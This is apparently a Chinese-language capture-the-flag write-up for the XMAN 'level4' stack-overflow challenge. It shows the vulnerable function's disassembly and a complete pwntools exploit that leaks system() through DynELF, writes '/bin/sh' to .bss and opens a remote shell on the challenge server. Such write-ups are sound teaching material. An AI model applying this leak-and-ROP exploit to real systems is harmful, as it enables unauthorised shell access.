0x00. 写在前面
在漏洞利用的时候,如果没有给出libc库,可以先泄漏两个函数的地址,然后再去查libc的版本号。但是,这种有时候可能失效。现在利用DynELF工具来泄漏system函数的地址,然后再往一个地方写’/bin/sh’字符串并构造调用system函数的栈。下面以XMAN中的level4这道题为例,使用DynELF实现漏洞利用。
0x01. 漏洞分析
XMAN level4漏洞函数很简单,是一个栈溢出如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| vulnerable_function proc near .text:0804844B .text:0804844B buf = byte ptr -88h .text:0804844B .text:0804844B push ebp .text:0804844C mov ebp, esp .text:0804844E sub esp, 88h .text:08048454 sub esp, 4 .text:08048457 push 100h ; nbytes .text:0804845C lea eax, [ebp+buf] .text:08048462 push eax ; buf .text:08048463 push 0 ; fd .text:08048465 call _read .text:0804846A add esp, 10h .text:0804846D nop .text:0804846E leave .text:0804846F retn .text:0804846F vulnerable_function endp
|
但是没有给我们libc库,使用泄漏两个函数地址查找libc版本号,并没有奏效。现在使用DynELF泄漏system函数的地址,实现漏洞利用。
0x02. 漏洞利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * import sys, os
DEBUG = 1 if DEBUG: context.log_level = 'debug' p = process('./level4') gdb.attach(p) else: p = remote('pwn2.jarvisoj.com', 9880)
elf = ELF('./level4') plt_write = elf.symbols['write'] plt_read = elf.symbols['read'] vulfun_addr = 0x0804844b offset = 0x8c bss_addr = 0x804a024 pppr = 0x8048509
def leak(address, length=4): payload = 'a' * offset + p32(plt_write) + p32(vulfun_addr) + p32(1) payload += p32(address) + p32(length) p.send(payload) data = p.recv(length) print "%#x => %s" % (address, (data or '').encode('hex')) return data
def main(): raw_input('#1. leak system address') d = DynELF(leak, elf=ELF('./level4')) system_addr = d.lookup('system', 'libc') print "system_addr=" + hex(system_addr) payload1 = 'a'*offset + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) payload1 += p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
raw_input('#2. system binsh') p.sendline(payload1) p.sendline('/bin/sh\x00')
p.interactive()
if __name__ == '__main__': main()
|